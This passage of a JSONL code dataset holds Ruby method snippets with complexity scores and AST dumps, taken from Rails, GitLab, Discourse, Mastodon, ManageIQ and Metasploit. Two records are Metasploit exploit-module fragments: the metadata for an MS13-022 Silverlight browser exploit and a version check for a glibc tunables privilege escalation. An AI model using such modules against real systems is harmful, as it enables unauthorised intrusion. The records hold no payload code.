end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"number_of_templates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"templates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"name\"]},\"to_s\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^.]+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},\"length\"]}]}","id":"7e6950c1-8660-446f-8940-35d8bc0c265e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb","start_line":19,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access\",\n        'Description' => %q{\n          This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on\n          the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an\n          unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible\n          to dereference arbitrary memory which easily leverages to arbitrary code execution. In order\n          to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class\n          from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP\n          SP3 / Windows 7 SP1.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'James Forshaw', # RCE Vulnerability discovery\n          'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work\n          'juan vazquez'     # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2013-0074' ],\n          [ 'CVE', '2013-3896' ],\n          [ 'OSVDB', '91147' ],\n          [ 'OSVDB', '98223' ],\n          [ 'BID', '58327' ],\n          [ 'BID', '62793' ],\n          [ 'MSB', 'MS13-022' ],\n          [ 'MSB', 'MS13-087' ],\n          [ 'PACKETSTORM', '123731' ]\n        ],\n        'DefaultOptions' => {\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n          'EXITFUNC' => 'thread'\n        },\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'BrowserRequirements' => {\n          :source => /script|headers/i,\n          :os_name => OperatingSystems::Match::WINDOWS,\n          :ua_name => Msf::HttpClients::IE,\n          :silverlight => \"true\"\n        },\n        'Targets' => [\n          [ 'Windows x86/x64', {} ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2013-03-12',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on\\n\"]},{\"type\":\"str\",\"children\":[\"          the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an\\n\"]},{\"type\":\"str\",\"children\":[\"          unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible\\n\"]},{\"type\":\"str\",\"children\":[\"          to dereference arbitrary memory which easily leverages to arbitrary code execution. In order\\n\"]},{\"type\":\"str\",\"children\":[\"          to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class\\n\"]},{\"type\":\"str\",\"children\":[\"          from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP\\n\"]},{\"type\":\"str\",\"children\":[\"          SP3 / Windows 7 SP1.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"James Forshaw\"]},{\"type\":\"str\",\"children\":[\"Vitaliy Toropov\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0074\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3896\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"91147\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"98223\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"58327\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"62793\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS13-022\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS13-087\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"123731\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BrowserRequirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"script|headers\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperatingSystems\"]},\"Match\"]},\"WINDOWS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HttpClients\"]},\"IE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silverlight\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86/x64\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-03-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"3e3c9629-e197-48ff-8910-63cbdac2b3f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/capsule.rb","start_line":86,"raw_source":"def server_middleware\n      @server_chain ||= config.server_middleware.copy_for(self)\n      yield @server_chain if block_given?\n      @server_chain\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"server_middleware\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server_chain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"server_middleware\"]},\"copy_for\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_chain\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@server_chain\"]}]}]}","id":"853a4daf-f3ad-45f1-aee7-766b95bf656e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/settings/user_renames_a_project_spec.rb","start_line":32,"raw_source":"def wait_for_edit_project_page_reload\n    expect(find_by_testid('advanced-settings-content')).to have_content('Change path')\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_edit_project_page_reload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"find_by_testid\",{\"type\":\"str\",\"children\":[\"advanced-settings-content\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"Change path\"]}]}]}]}","id":"ba184069-720e-49da-b362-218b7429a963"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/merging_test.rb","start_line":112,"raw_source":"def test_merge_not_in_clause\n    david, mary, bob = authors(:david, :mary, :bob)\n\n    non_mary_and_bob = Author.where.not(id: [mary, bob])\n\n    assert_equal [david], non_mary_and_bob\n\n    assert_equal [david], Author.where(id: david).merge(non_mary_and_bob)\n\n    assert_equal [david], Author.where(id: mary).merge(non_mary_and_bob)\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_merge_not_in_clause\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\"]},{\"type\":\"lvasgn\",\"children\":[\"mary\"]},{\"type\":\"lvasgn\",\"children\":[\"bob\"]}]},{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]},{\"type\":\"sym\",\"children\":[\"mary\"]},{\"type\":\"sym\",\"children\":[\"bob\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"non_mary_and_bob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary\"]},{\"type\":\"lvar\",\"children\":[\"bob\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]}]},{\"type\":\"lvar\",\"children\":[\"non_mary_and_bob\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"david\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"non_mary_and_bob\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"mary\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"non_mary_and_bob\"]}]}]}]}]}","id":"5c5442ac-9965-4ddd-9a93-a9350e3662fe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/glibc_tunables_priv_esc.rb","start_line":98,"raw_source":"def check\n    glibc_version = cmd_exec('ldd --version')&.scan(/ldd\\s+\\(\\w+\\s+GLIBC\\s+(\\S+)\\)/)&.flatten&.first\n    return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version\n\n    sysinfo = get_sysinfo\n    case sysinfo[:distro]\n    when 'ubuntu'\n      # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility\n      test_version = glibc_version.gsub(/-\\d+ubuntu/, '.')\n      if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) ||\n         Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) ||\n         Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))\n        return CheckCode::Appears(\"The glibc version (#{glibc_version}) found on the target appears to be vulnerable\")\n      end\n    when 'debian'\n      # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility\n      test_version = glibc_version.gsub(/\\+deb/, '.').gsub(/u/, '.').gsub('-', '.')\n      if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) ||\n         Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))\n        return CheckCode::Appears(\"The glibc version (#{glibc_version}) found on the target appears to be vulnerable\")\n      end\n    else\n      return CheckCode::Unknown('The module has not been tested against this Linux distribution')\n    end\n    CheckCode::Safe(\"The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable\")\n  end","complexity_score":63.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"glibc_version\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"ldd --version\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ldd\\\\s+\\\\(\\\\w+\\\\s+GLIBC\\\\s+(\\\\S+)\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glibc_version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Could not get the version of glibc\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sysinfo\",{\"type\":\"send\",\"children\":[null,\"get_sysinfo\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sysinfo\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"distro\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ubuntu\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glibc_version\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-\\\\d+ubuntu\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.35\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.35.3.4\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.37\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.37.2.1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.38\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.38.6\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The glibc version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glibc_version\"]}]},{\"type\":\"str\",\"children\":[\") found on the target appears to be vulnerable\"]}]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"debian\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glibc_version\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\+deb\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"u\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.31\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.31.13.11.7\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.36\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.36.9.12.3\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The glibc version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glibc_version\"]}]},{\"type\":\"str\",\"children\":[\") found on the target appears to be vulnerable\"]}]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"The module has not been tested against this Linux distribution\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The glibc version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glibc_version\"]}]},{\"type\":\"str\",\"children\":[\") found on the target does not appear to be vulnerable\"]}]}]}]}]}","id":"cc1f14b1-4aeb-4b50-9cc5-bb94c4405845"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/discourse_assign/web_hook_extension.rb","start_line":8,"raw_source":"def enqueue_assign_hooks(event, payload)\n        return unless active_web_hooks(event).exists?\n        enqueue_hooks(:assign, event, payload: payload)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_assign_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_web_hooks\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"enqueue_hooks\",{\"type\":\"sym\",\"children\":[\"assign\"]},{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}","id":"431e9409-36a9-4db2-894a-eb2f916bbf92"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/follow_recommendations_controller.rb","start_line":35,"raw_source":"def follow_recommendation_filter\n      @follow_recommendation_filter ||= FollowRecommendationFilter.new(filter_params)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"follow_recommendation_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@follow_recommendation_filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FollowRecommendationFilter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"filter_params\"]}]}]}]}","id":"31c91c83-906d-49e9-a994-fa851fccb317"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/service_template/copy_spec.rb","start_line":11,"raw_source":"def copy_template(template, name = nil)\n      copy = nil\n      expect do\n        copy = template.public_send(*[:template_copy, name].compact)\n      end.to(change { ServiceTemplate.count }.by(1))\n      expect(copy.persisted?).to be(true)\n      expect(copy.guid).not_to eq(template.guid)\n      expect(copy.display).to be(false)\n      copy\n    end","complexity_score":31.15,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copy\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"copy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"public_send\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"template_copy\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"compact\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceTemplate\"]},\"count\"]}]},\"by\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy\"]},\"persisted?\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy\"]},\"guid\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"guid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy\"]},\"display\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"copy\"]}]}]}","id":"491a2648-fbfc-4534-a33e-703d42b1bc1e"}
